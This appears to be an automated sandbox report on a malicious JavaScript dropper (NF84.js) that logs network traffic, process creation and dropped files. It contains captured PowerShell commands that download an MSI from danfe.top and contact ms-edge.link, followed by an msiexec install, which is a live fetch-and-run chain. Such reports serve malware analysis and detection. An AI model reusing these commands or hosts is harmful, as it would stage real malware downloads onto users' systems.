Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pdfmail.icuConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=ul5kmekspqrsc6keimmvsh4e53
Source: global traffic	HTTP traffic detected: GET /baixar-aplicativo/?app=Kra.msi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: danfe.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=R4xbWys1RkYW+xk&MD=DXyzA69e HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /contkra/serv.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ms-edge.linkConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: pdfmail.icu
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: i.imgur.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: danfe.top
Source: global traffic	DNS traffic detected: DNS query: ms-edge.link

Source: unknown

HTTP traffic detected: POST /report/v4?s=mEVD3YfS3NaV4bAZBwcoyRT8%2BU%2Fk82D5BONCwigxCREFwN0p8Wsth3wBtGmibNx7mMBTFC1A4f3y6JS8qRA8GgywIhu%2FbnImT2vKR2oM9Vx%2FQl7lFffg0PzEaf%2BQyQ%3D%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 441Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 24 Sep 2024 04:29:48 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mEVD3YfS3NaV4bAZBwcoyRT8%2BU%2Fk82D5BONCwigxCREFwN0p8Wsth3wBtGmibNx7mMBTFC1A4f3y6JS8qRA8GgywIhu%2FbnImT2vKR2oM9Vx%2FQl7lFffg0PzEaf%2BQyQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8c800915691cc35a-EWR

Source: wscript.exe, 00000001.00000003.1567053245.00000210948D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44
Source: wscript.exe, 00000001.00000003.2525563569.00000210929AC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525402760.0000021092988000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527022297.00000210929B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44(
Source: wscript.exe, 00000001.00000003.2525692193.00000210929D3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527135939.00000210929D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e447
Source: wscript.exe, 00000001.00000003.2525402760.0000021092941000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2526874312.0000021092951000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44QA
Source: wscript.exe, 00000001.00000003.2525402760.0000021092941000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2526874312.0000021092951000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44ath
Source: wscript.exe, 00000001.00000003.2525798043.0000021092992000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525830382.0000021092998000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525402760.0000021092988000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527022297.0000021092999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44ction%2
Source: wscript.exe, 00000001.00000003.2525798043.0000021092992000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525830382.0000021092998000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525402760.0000021092988000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527022297.0000021092999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44dE
Source: wscript.exe, 00000001.00000003.2525798043.0000021092992000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525830382.0000021092998000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525402760.0000021092988000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527022297.0000021092999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44ing%2C1
Source: wscript.exe, 00000001.00000003.2525402760.0000021092941000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2526874312.0000021092951000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44tCookies
Source: wscript.exe, 00000001.00000003.2524807734.0000021094945000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2522887538.000002109493B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523590015.000002109493E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://danfe.top/baixar-aplic
Source: wscript.exe, 00000001.00000002.2527022297.0000021092999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://danfe.top/baixar-aplicativo/?app=Kra.msi
Source: wscript.exe, 00000001.00000003.2523501533.0000021094897000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2524292238.00000210948A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523731004.00000210948AD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523433858.00000210948AB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2524567747.00000210948A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2524893253.00000210948A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523620022.00000210948AB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523674599.000002109489D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2522922246.000002109487E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2524065685.00000210948A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2526461077.00000210948C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2525145933.00000210948B0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2523433858.000002109487F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2522854173.0000021094952000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.2522922246.00000210948AB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.2527632506.00000210948A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ms-edge.link/contkra/s
Source: wscript.exe, 00000001.00000002.2527022297.0000021092999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ms-edge.link/contkra/serv.php

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.9:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.9:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.178:443 -> 192.168.2.9:49756 version: TLS 1.2

System Summary

PE file has nameless sections

Source: avutil.dll.13.dr	Static PE information: section name:
Source: avutil.dll.13.dr	Static PE information: section name:
Source: avutil.dll.13.dr	Static PE information: section name:

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\3f3863.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4090.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI411E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI415E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI418D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI41CD.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{AD77C9EF-D532-4B73-AECB-399331D1F6EA}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4597.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI4090.tmp

Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Windows\Installer\MSI4090.tmp 39FD8D36F8E5D915AD571EA429DB3C3DE6E9C160DBEA7C3E137C9BA4B7FD301D

Source: NF84.js

Initial sample: Strings found which are bigger than 50

Source: fec.exe.13.dr

Static PE information: Resource name: RT_RCDATA type: PE32 executable (console) Intel 80386, for MS Windows

Source: avutil.dll.13.dr	Static PE information: Number of sections : 12 > 10
Source: fec.exe.13.dr	Static PE information: Number of sections : 11 > 10

Source: classification engine

Classification label: mal100.expl.evad.winJS@27/63@30/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1424:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxsi4ctn.orf.ps1

Jump to behavior

Source: Yara match

File source: C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\fec.exe, type: DROPPED

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NF84.js

Virustotal: Detection: 7%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2020,i,12890358497683142994,16358614745518682558,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\Updateizpy.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 97A876E29032D56FD3BEF2306B300FAD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\Updateizpy.msi"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2020,i,12890358497683142994,16358614745518682558,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 97A876E29032D56FD3BEF2306B300FAD	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
